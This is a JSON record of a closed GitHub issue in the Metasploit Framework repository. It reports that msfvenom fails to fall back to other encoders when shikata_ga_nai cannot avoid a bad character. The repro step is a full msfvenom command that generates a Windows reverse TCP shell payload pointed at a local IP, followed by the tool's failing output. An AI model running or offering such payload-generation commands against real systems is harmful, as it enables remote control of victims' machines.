{"action":"closed","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5596","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5596/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5596/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5596/events","html_url":"https://github.com/rapid7/metasploit-framework/issues/5596","id":90711306,"number":5596,"title":"msfvenom is not falling back to other encoders when shikata can't avoid badchars","user":{"login":"jlee-r7","id":1173675,"avatar_url":"https://avatars.githubusercontent.com/u/1173675?v=3","gravatar_id":"","url":"https://api.github.com/users/jlee-r7","html_url":"https://github.com/jlee-r7","followers_url":"https://api.github.com/users/jlee-r7/followers","following_url":"https://api.github.com/users/jlee-r7/following{/other_user}","gists_url":"https://api.github.com/users/jlee-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jlee-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jlee-r7/subscriptions","organizations_url":"https://api.github.com/users/jlee-r7/orgs","repos_url":"https://api.github.com/users/jlee-r7/repos","events_url":"https://api.github.com/users/jlee-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jlee-r7/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":{"login":"hmoore-r7","id":1171392,"avatar_url":"https://avatars.githubusercontent.com/u/1171392?v=3","gravatar_id":"","url":"https://api.github.com/users/hmoore-r7","html_url":"https://github.com/hmoore-r7","followers_url":"https://api.github.com/users/hmoore-r7/followers","following_url":"https://api.github.com/users/hmoore-r7/following{/other_user}","gists_url":"https://api.github.com/users/hmoore-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/hmoore-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hmoore-r7/subscriptions","organizations_url":"https://api.github.com/users/hmoore-r7/orgs","repos_url":"https://api.github.com/users/hmoore-r7/repos","events_url":"https://api.github.com/users/hmoore-r7/events{/privacy}","received_events_url":"https://api.github.com/users/hmoore-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":1,"created_at":"2015-06-24T15:33:36Z","updated_at":"2015-06-24T20:17:30Z","closed_at":"2015-06-24T20:17:30Z","body":"Repro:\r\n```\r\n./msfvenom -p windows/shell/reverse_tcp LHOST=192.168.99.1 LPORT=4545 -b '\\xd9' -f c -a x86\r\n```\r\nExpected: falls back to call4_dword or something else that can avoid the given badchars\r\n\r\nActual:\r\n```\r\nNo platform was selected, choosing Msf::Module::Platform::Windows from the payload\r\nFound 10 compatible encoders\r\nAttempting to encode payload with 1 iterations of x86/shikata_ga_nai\r\nFailed to locate a valid permutation.\r\n```\r\n"}}